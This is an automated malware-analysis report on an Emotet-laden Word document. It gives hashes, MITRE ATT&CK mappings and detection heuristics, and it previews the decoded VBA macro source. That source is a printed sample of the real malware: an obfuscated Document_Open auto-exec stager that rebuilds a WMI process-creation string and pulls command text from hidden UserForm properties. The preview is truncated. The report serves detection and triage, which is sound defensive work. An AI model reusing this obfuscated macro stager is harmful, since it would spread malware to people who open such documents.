Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 8dc089a6450eb10b…

MALICIOUS

Office (OLE)

227.4 KB Created: 2020-08-14 07:04:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: 2a6b5692732a2c17ab4bd0c6928a8cca SHA-1: 8c10bdaa6503b88767c4146068d20575d35fcc5a SHA-256: 8dc089a6450eb10bbb5e56cef9f17eccd145ea20939878dfa3f7e7e2155afdba
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of Emotet. The ClamAV detection also explicitly names Emotet. The VBA code appears to be obfuscated but is designed to execute a command stager, likely to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9319219-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9319219-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8024 bytes
SHA-256: 7c6a2cf5b49a78c8f8c5732f34e0ecac672071155640c14408cf2e39d63509d7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "P82qej8ot9ru7p_e"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Nyazslvoilk9pzq.Fh4zwshn9_b
End Sub


Attribute VB_Name = "Nyazslvoilk9pzq"
Attribute VB_Base = "0{60E6C8BA-EC98-46F4-971E-64FF2D0AEAD8}{F7958E44-3958-4A98-8D5D-0B76324F5298}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Fh4zwshn9_b()
   Ebkogq4hy7lbvke = 4
Do While Ebkogq4hy7lbvke < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ebkogq4hy7lbvke = Ebkogq4hy7lbvke + 8: DoEvents
Loop
X2nx1cmlelp3 = Nyazslvoilk9pzq.HelpContextId + 100
   Ebkogq4hy7lbvke = 4
Do While Ebkogq4hy7lbvke < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ebkogq4hy7lbvke = Ebkogq4hy7lbvke + 8: DoEvents
Loop
I8q3lzrlr1a = ChrW(X2nx1cmlelp3 + (100 + 35) / 9)
   Ebkogq4hy7lbvke = 4
Do While Ebkogq4hy7lbvke < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ebkogq4hy7lbvke = Ebkogq4hy7lbvke + 8: DoEvents
Loop
V_bt6m5pjcs = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + I8q3lzrlr1a + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + Nyazslvoilk9pzq.Lyrdcy81m8ds + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Ebkogq4hy7lbvke = 4
Do While Ebkogq4hy7lbvke < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ebkogq4hy7lbvke = Ebkogq4hy7lbvke + 8: DoEvents
Loop
Kiwx8dhgywi_uv0 = Ku09n6ev6lpwrdv(V_bt6m5pjcs)
   Ebkogq4hy7lbvke = 4
Do While Ebkogq4hy7lbvke < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ebkogq4hy7lbvke = Ebkogq4hy7lbvke + 8: DoEvents
Loop
Set Wlrsca_1rcp = CreateObject(Kiwx8dhgywi_uv0)
   Ebkogq4hy7lbvke = 4
Do While Ebkogq4hy7lbvke < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ebkogq4hy7lbvke = Ebkogq4hy7lbvke + 8: DoEvents
Loop
Oi1dyc41xjqvjhmybq = Nyazslvoilk9pzq.Un5lyziski3.ControlTipText
   Ebkogq4hy7lbvke = 4
Do While Ebkogq4hy7lbvke < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ebkogq4hy7lbvke = Ebkogq4hy7lbvke + 8: DoEvents
Loop
A3xw469prgc9h = Z_eklkdqrudjq9p565 + (Kiwx8dhgywi_uv0 + I8q3lzrlr1a + Nyazslvoilk9pzq.Kys8x39g_0m1q32t.ControlTipText + Oi1dyc41xjqvjhmybq)
   Ebkogq4hy7lbvke = 4
Do While Ebkogq4hy7lbvke < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ebkogq4hy7lbvke = Ebkogq4hy7lbvke + 8: DoEvents
Loop
Ctlpzkk8afav9e = A3xw469prgc9h + Nyazslvoilk9pzq.Lyrdcy81m8ds
   Ebkogq4hy7lbvke = 4
Do While Ebkogq4hy7lbvke < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ebkogq4hy7lbvke =
... (truncated)

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